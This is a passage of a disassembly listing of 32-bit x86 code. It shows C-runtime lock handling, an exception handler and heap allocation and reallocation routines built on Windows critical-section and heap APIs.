		and	ecx, 83h
		test	ecx, ecx
		jz	loc_41BB0E
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DE674
		mov	ecx, [eax+edx*4]
		push	ecx
		mov	edx, [ebp+var_C]
		push	edx
		call	sub_41AE60
		add	esp, 8
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4DE674
		mov	edx, [ecx+eax*4]
		mov	eax, [edx+0Ch]
		and	eax, 83h
		test	eax, eax
		jz	short loc_41BAF5
		cmp	[ebp+arg_0], 1
		jnz	short loc_41BAB9
		mov	ecx, [ebp+var_C]
		mov	edx, dword_4DE674
		mov	eax, [edx+ecx*4]
		push	eax
		call	sub_41B8D0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41BAB7
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_41BAB7:				; CODE XREF: sub_41B9F0+BCj
		jmp	short loc_41BAF5
; ---------------------------------------------------------------------------


loc_41BAB9:				; CODE XREF: sub_41B9F0+A2j
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BAF5
		mov	edx, [ebp+var_C]
		mov	eax, dword_4DE674
		mov	ecx, [eax+edx*4]
		mov	edx, [ecx+0Ch]
		and	edx, 2
		test	edx, edx
		jz	short loc_41BAF5
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4DE674
		mov	edx, [ecx+eax*4]
		push	edx
		call	sub_41B8D0
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41BAF5
		mov	[ebp+var_8], 0FFFFFFFFh


loc_41BAF5:				; CODE XREF: sub_41B9F0+9Cj
					; sub_41B9F0:loc_41BAB7j ...
		mov	eax, [ebp+var_C]
		mov	ecx, dword_4DE674
		mov	edx, [ecx+eax*4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	sub_41AED0
		add	esp, 8


loc_41BB0E:				; CODE XREF: sub_41B9F0+4Bj
					; sub_41B9F0+68j
		jmp	loc_41BA17
; ---------------------------------------------------------------------------


loc_41BB13:				; CODE XREF: sub_41B9F0+39j
		push	2
		call	sub_41BD20
		add	esp, 4
		cmp	[ebp+arg_0], 1
		jnz	short loc_41BB28
		mov	eax, [ebp+var_4]
		jmp	short loc_41BB2B
; ---------------------------------------------------------------------------


loc_41BB28:				; CODE XREF: sub_41B9F0+131j
		mov	eax, [ebp+var_8]


loc_41BB2B:				; CODE XREF: sub_41B9F0+136j
		mov	esp, ebp
		pop	ebp
		retn
sub_41B9F0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	eax, dword_4DDFE8
		mov	[ebp-4], eax
		mov	ecx, [ebp+8]
		mov	dword_4DDFE8, ecx
		push	9
		call	sub_41BD20
		add	esp, 4
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, dword_4DDFE8
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BB70	proc near		; CODE XREF: sub_415110+7Dp
					; sub_41BE60+41p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DDFE8
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_41BB90
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	[ebp+var_4]
		add	esp, 4
		test	eax, eax
		jnz	short loc_41BB94


loc_41BB90:				; CODE XREF: sub_41BB70+10j
		xor	eax, eax
		jmp	short loc_41BB99
; ---------------------------------------------------------------------------


loc_41BB94:				; CODE XREF: sub_41BB70+1Ej
		mov	eax, 1


loc_41BB99:				; CODE XREF: sub_41BB70+22j
		mov	esp, ebp
		pop	ebp
		retn
sub_41BB70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBA0	proc near		; CODE XREF: sub_421840+4p
		push	ebp
		mov	ebp, esp
		mov	eax, off_4451C4
		push	eax
		call	dword_4E0470	; InitializeCriticalSection
		mov	ecx, off_4451B4
		push	ecx
		call	dword_4E0470	; InitializeCriticalSection
		mov	edx, off_4451A4
		push	edx
		call	dword_4E0470	; InitializeCriticalSection
		mov	eax, off_445184
		push	eax
		call	dword_4E0470	; InitializeCriticalSection
		pop	ebp
		retn
sub_41BBA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BBE0	proc near		; CODE XREF: .data:004218D3p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], 0
		jmp	short loc_41BBF6
; ---------------------------------------------------------------------------


loc_41BBED:				; CODE XREF: sub_41BBE0:loc_41BC47j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_41BBF6:				; CODE XREF: sub_41BBE0+Bj
		cmp	[ebp+var_4], 30h
		jge	short loc_41BC49
		mov	ecx, [ebp+var_4]
		cmp	dword_445180[ecx*4], 0
		jz	short loc_41BC47
		cmp	[ebp+var_4], 11h
		jz	short loc_41BC47
		cmp	[ebp+var_4], 0Dh
		jz	short loc_41BC47
		cmp	[ebp+var_4], 9
		jz	short loc_41BC47
		cmp	[ebp+var_4], 1
		jz	short loc_41BC47
		mov	edx, [ebp+var_4]
		mov	eax, dword_445180[edx*4]
		push	eax
		call	dword_4E03B0	; RtlDeleteCriticalSection
		push	2
		mov	ecx, [ebp+var_4]
		mov	edx, dword_445180[ecx*4]
		push	edx
		call	sub_415C60
		add	esp, 8


loc_41BC47:				; CODE XREF: sub_41BBE0+27j
					; sub_41BBE0+2Dj ...
		jmp	short loc_41BBED
; ---------------------------------------------------------------------------


loc_41BC49:				; CODE XREF: sub_41BBE0+1Aj
		mov	eax, off_4451A4
		push	eax
		call	dword_4E03B0	; RtlDeleteCriticalSection
		mov	ecx, off_4451B4
		push	ecx
		call	dword_4E03B0	; RtlDeleteCriticalSection
		mov	edx, off_4451C4
		push	edx
		call	dword_4E03B0	; RtlDeleteCriticalSection
		mov	eax, off_445184
		push	eax
		call	dword_4E03B0	; RtlDeleteCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_41BBE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BC80	proc near		; CODE XREF: sub_415110+25p
					; sub_4155B0+25p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword_445180[eax*4], 0
		jnz	short loc_41BD02
		push	0E1h
		push	offset aMlock_c	; "mlock.c"
		push	2
		push	18h
		call	sub_4150C0
		add	esp, 10h
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jnz	short loc_41BCBA
		push	11h
		call	sub_41AC70
		add	esp, 4


loc_41BCBA:				; CODE XREF: sub_41BC80+2Ej
		push	11h
		call	sub_41BC80
		add	esp, 4
		mov	ecx, [ebp+arg_0]
		cmp	dword_445180[ecx*4], 0
		jnz	short loc_41BCEA
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4E0470	; InitializeCriticalSection
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		mov	dword_445180[eax*4], ecx
		jmp	short loc_41BCF8
; ---------------------------------------------------------------------------


loc_41BCEA:				; CODE XREF: sub_41BC80+4Fj
		push	2
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_415C60
		add	esp, 8


loc_41BCF8:				; CODE XREF: sub_41BC80+68j
		push	11h
		call	sub_41BD20
		add	esp, 4


loc_41BD02:				; CODE XREF: sub_41BC80+Fj
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_445180[eax*4]
		push	ecx
		call	dword_4E03A8	; RtlEnterCriticalSection
		mov	esp, ebp
		pop	ebp
		retn
sub_41BC80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD20	proc near		; CODE XREF: sub_41516D+2p
					; sub_415613+2p ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		mov	ecx, dword_445180[eax*4]
		push	ecx
		call	dword_4E03A4	; RtlLeaveCriticalSection
		pop	ebp
		retn
sub_41BD20	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	eax
		push	0
		call	dword_4E0474	; FatalAppExitA
		push	0FFh
		call	dword_4E0328	; ExitProcess
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BD64	proc near		; DATA XREF: sub_415110+Ao
					; sub_4155B0+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41BE04
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41BD97:				; CODE XREF: sub_41BD64+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41BDFD
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41BDEB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41BDEB
		js	short loc_41BDF6
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4190F0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_419132
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_4191C6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41BDEB:				; CODE XREF: sub_41BD64+40j
					; sub_41BD64+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41BD97
; ---------------------------------------------------------------------------


loc_41BDF6:				; CODE XREF: sub_41BD64+54j
		mov	eax, 0
		jmp	short loc_41BE19
; ---------------------------------------------------------------------------


loc_41BDFD:				; CODE XREF: sub_41BD64+36j
		mov	eax, 1
		jmp	short loc_41BE19
; ---------------------------------------------------------------------------


loc_41BE04:				; CODE XREF: sub_41BD64+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_419132
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41BE19:				; CODE XREF: sub_41BD64+97j
					; sub_41BD64+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41BD64	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_419132
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_41C230+33p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, dword_4DDFE4
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BE60
		add	esp, 8
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_41BE40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE60	proc near		; CODE XREF: sub_41BE40+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0FFFFFFE0h
		jbe	short loc_41BE6E
		xor	eax, eax
		jmp	short loc_41BEB3
; ---------------------------------------------------------------------------


loc_41BE6E:				; CODE XREF: sub_41BE60+8j
					; sub_41BE60:loc_41BEB1j
		cmp	[ebp+arg_0], 0FFFFFFE0h
		ja	short loc_41BE85
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41BEC0
		add	esp, 4
		mov	[ebp+var_4], eax
		jmp	short loc_41BE8C
; ---------------------------------------------------------------------------


loc_41BE85:				; CODE XREF: sub_41BE60+12j
		mov	[ebp+var_4], 0


loc_41BE8C:				; CODE XREF: sub_41BE60+23j
		cmp	[ebp+var_4], 0
		jnz	short loc_41BE98
		cmp	[ebp+arg_4], 0
		jnz	short loc_41BE9D


loc_41BE98:				; CODE XREF: sub_41BE60+30j
		mov	eax, [ebp+var_4]
		jmp	short loc_41BEB3
; ---------------------------------------------------------------------------


loc_41BE9D:				; CODE XREF: sub_41BE60+36j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41BB70
		add	esp, 4
		test	eax, eax
		jnz	short loc_41BEB1
		xor	eax, eax
		jmp	short loc_41BEB3
; ---------------------------------------------------------------------------


loc_41BEB1:				; CODE XREF: sub_41BE60+4Bj
		jmp	short loc_41BE6E
; ---------------------------------------------------------------------------


loc_41BEB3:				; CODE XREF: sub_41BE60+Cj
					; sub_41BE60+3Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_41BE60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BEC0	proc near		; CODE XREF: sub_4151D0+19Dp
					; sub_41BE60+18p

var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 0041BF30 SIZE 00000077 BYTES
; FUNCTION CHUNK AT 0041BFB2 SIZE 0000005B BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434FD0
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		cmp	dword_4DE64C, 3
		jnz	short loc_41BF43
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DE66C
		ja	short loc_41BF3E
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41D190
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41BF25
		jmp	short loc_41BF30
sub_41BEC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF25	proc near		; CODE XREF: sub_41BEC0+5Ep
					; DATA XREF: .data:00434FD8o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41BF25	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BEC0


loc_41BF30:				; CODE XREF: sub_41BEC0+63j
		cmp	[ebp+var_1C], 0
		jz	short loc_41BF3E
		mov	eax, [ebp+var_1C]
		jmp	loc_41BFFC
; ---------------------------------------------------------------------------


loc_41BF3E:				; CODE XREF: sub_41BEC0+35j
					; sub_41BEC0+74j
		jmp	loc_41BFD1
; ---------------------------------------------------------------------------


loc_41BF43:				; CODE XREF: sub_41BEC0+2Aj
		cmp	dword_4DE64C, 2
		jnz	loc_41BFD1
		cmp	[ebp+arg_0], 0
		jz	short loc_41BF64
		mov	edx, [ebp+arg_0]
		add	edx, 0Fh
		and	edx, 0FFFFFFF0h
		mov	[ebp+arg_0], edx
		jmp	short loc_41BF6B
; ---------------------------------------------------------------------------


loc_41BF64:				; CODE XREF: sub_41BEC0+94j
		mov	[ebp+arg_0], 10h


loc_41BF6B:				; CODE XREF: sub_41BEC0+A2j
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_44726C
		ja	short loc_41BFBD
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		mov	ecx, [ebp+arg_0]
		shr	ecx, 4
		push	ecx
		call	sub_41EC10
		add	esp, 4
		mov	[ebp+var_1C], eax
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41BFA7
		jmp	short loc_41BFB2
; END OF FUNCTION CHUNK	FOR sub_41BEC0

; =============== S U B	R O U T	I N E =======================================



sub_41BFA7	proc near		; CODE XREF: sub_41BEC0+E0p
					; DATA XREF: .data:00434FE4o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41BFA7	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BEC0


loc_41BFB2:				; CODE XREF: sub_41BEC0+E5j
		cmp	[ebp+var_1C], 0
		jz	short loc_41BFBD
		mov	eax, [ebp+var_1C]
		jmp	short loc_41BFFC
; ---------------------------------------------------------------------------


loc_41BFBD:				; CODE XREF: sub_41BEC0+B4j
					; sub_41BEC0+F6j
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0478	; RtlAllocateHeap
		jmp	short loc_41BFFC
; ---------------------------------------------------------------------------


loc_41BFD1:				; CODE XREF: sub_41BEC0:loc_41BF3Ej
					; sub_41BEC0+8Aj
		cmp	[ebp+arg_0], 0
		jnz	short loc_41BFDE
		mov	[ebp+arg_0], 1


loc_41BFDE:				; CODE XREF: sub_41BEC0+115j
		mov	ecx, [ebp+arg_0]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	0
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E0478	; RtlAllocateHeap


loc_41BFFC:				; CODE XREF: sub_41BEC0+79j
					; sub_41BEC0+FBj ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41BEC0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C010	proc near		; CODE XREF: sub_4151D0+79p
					; sub_415640+C1p ...
		push	ebp
		mov	ebp, esp
		mov	eax, 1
		pop	ebp
		retn
sub_41C010	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C020	proc near		; CODE XREF: sub_415640+2D4p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041C0CC SIZE 000000EE BYTES
; FUNCTION CHUNK AT 0041C1C5 SIZE 00000068 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_434FE8
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		cmp	[ebp+arg_4], 0FFFFFFE0h
		jbe	short loc_41C050
		xor	eax, eax
		jmp	loc_41C21C
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41C020+27j
		cmp	dword_4DE64C, 3
		jnz	loc_41C108
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41CAF0
		add	esp, 4
		mov	[ebp+var_20], eax
		cmp	[ebp+var_20], 0
		jz	short loc_41C0B3
		mov	[ebp+var_1C], 0
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4DE66C
		ja	short loc_41C0B3
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_20]
		push	ecx
		call	sub_41D9D0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41C0B3
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_1C], edx


loc_41C0B3:				; CODE XREF: sub_41C020+61j
					; sub_41C020+73j ...
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C0C1
		jmp	short loc_41C0CC
sub_41C020	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C0C1	proc near		; CODE XREF: sub_41C020+9Ap
					; DATA XREF: .data:00434FF0o
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C0C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C020


loc_41C0CC:				; CODE XREF: sub_41C020+9Fj
		cmp	[ebp+var_20], 0
		jnz	short loc_41C103
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C0DF
		mov	[ebp+arg_4], 1


loc_41C0DF:				; CODE XREF: sub_41C020+B6j
		mov	eax, [ebp+arg_4]
		add	eax, 0Fh
		and	al, 0F0h
		mov	[ebp+arg_4], eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax


loc_41C103:				; CODE XREF: sub_41C020+B0j
		jmp	loc_41C219
; ---------------------------------------------------------------------------


loc_41C108:				; CODE XREF: sub_41C020+37j
		cmp	dword_4DE64C, 2
		jnz	loc_41C1E6
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C122
		mov	[ebp+arg_4], 1


loc_41C122:				; CODE XREF: sub_41C020+F9j
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 1
		lea	edx, [ebp+var_24]
		push	edx
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41EB10
		add	esp, 0Ch
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	short loc_41C1AC
		mov	[ebp+var_1C], 0
		mov	edx, [ebp+arg_4]
		cmp	edx, dword_44726C
		ja	short loc_41C193
		mov	eax, [ebp+arg_4]
		shr	eax, 4
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		mov	eax, [ebp+var_2C]
		push	eax
		call	sub_41F280
		add	esp, 10h
		test	eax, eax
		jz	short loc_41C193
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_1C], ecx


loc_41C193:				; CODE XREF: sub_41C020+14Cj
					; sub_41C020+16Bj
		push	0FFFFFFFFh
		mov	edx, [ebp+var_1C]
		mov	[ebp+var_30], edx
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_419132
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_41C21C
; ---------------------------------------------------------------------------


loc_41C1AC:				; CODE XREF: sub_41C020+13Aj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_41C1BA
		jmp	short loc_41C1C5
; END OF FUNCTION CHUNK	FOR sub_41C020

; =============== S U B	R O U T	I N E =======================================



sub_41C1BA	proc near		; CODE XREF: sub_41C020+193p
					; DATA XREF: .data:00434FFCo
		push	9
		call	sub_41BD20
		add	esp, 4
		retn
sub_41C1BA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41C020


loc_41C1C5:				; CODE XREF: sub_41C020+198j
		cmp	[ebp+var_28], 0
		jnz	short loc_41C1E4
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		push	10h
		mov	eax, dword_4DE648
		push	eax
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax


loc_41C1E4:				; CODE XREF: sub_41C020+1A9j
		jmp	short loc_41C219
; ---------------------------------------------------------------------------


loc_41C1E6:				; CODE XREF: sub_41C020+EFj
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C1F3
		mov	[ebp+arg_4], 1


loc_41C1F3:				; CODE XREF: sub_41C020+1CAj
		mov	ecx, [ebp+arg_4]
		add	ecx, 0Fh
		and	ecx, 0FFFFFFF0h
		mov	[ebp+arg_4], ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		push	10h
		mov	ecx, dword_4DE648
		push	ecx
		call	dword_4E047C	; RtlReAllocateHeap
		mov	[ebp+var_1C], eax


loc_41C219:				; CODE XREF: sub_41C020:loc_41C103j
					; sub_41C020:loc_41C1E4j
		mov	eax, [ebp+var_1C]


loc_41C21C:				; CODE XREF: sub_41C020+2Bj
					; sub_41C020+18Aj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_41C020
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C230	proc near		; CODE XREF: sub_415640+2AFp

var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041C403 SIZE 0000020C BYTES
; FUNCTION CHUNK AT 0041C61A SIZE 000000A9 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_435000
		push	offset sub_41BD64
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFC8h
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		cmp	[ebp+arg_0], 0
		jnz	short loc_41C270
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_41BE40
		add	esp, 4
		jmp	loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C270:				; CODE XREF: sub_41C230+2Dj
		cmp	[ebp+arg_4], 0
		jnz	short loc_41C289
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_41C6D0
		add	esp, 4
		xor	eax, eax
		jmp	loc_41C6B2
; ---------------------------------------------------------------------------


loc_41C289:				; CODE XREF: sub_41C230+44j
		cmp	dword_4DE64C, 3
		jnz	loc_41C46F


loc_41C296:				; CODE XREF: sub_41C230:loc_41C46Aj
		mov	[ebp+var_24], 0
		cmp	[ebp+arg_4], 0FFFFFFE0h
		ja	loc_41C43C
		push	9
		call	sub_41BC80
		add	esp, 4
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41CAF0
		add	esp, 4
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 0
		jz	loc_41C3EA
		mov	ecx, [ebp+arg_4]
		cmp	ecx, dword_4DE66C
		ja	loc_41C36A
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+var_28]
		push	ecx
		call	sub_41D9D0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41C300
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_24], edx
		jmp	short loc_41C36A
; ---------------------------------------------------------------------------


loc_41C300:				; CODE XREF: sub_41C230+C6j
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41D190
		add	esp, 4
		mov	[ebp+var_24], eax
		cmp	[ebp+var_24], 0
		jz	short loc_41C36A
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx-4]
		sub	edx, 1
		mov	[ebp+var_20], edx
		mov	eax, [ebp+var_20]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41C331
		mov	ecx, [ebp+var_20]
		mov	[ebp+var_3C], ecx
		jmp	short loc_41C337
; ---------------------------------------------------------------------------


loc_41C331:				; CODE XREF: sub_41C230+F7j
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_3C], edx


loc_41C337:				; CODE XREF: sub_41C230+FFj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_24]
		push	edx
		call	sub_419330
		add	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41CAF0
		add	esp, 4
		mov	[ebp+var_28], eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+var_28]
		push	edx
		call	sub_41CBB0
		add	esp, 8


loc_41C36A:				; CODE XREF: sub_41C230+AAj
					; sub_41C230+CEj ...
		cmp	[ebp+var_24], 0
		jnz	short loc_41C3EA
		cmp	[ebp+arg_4], 0
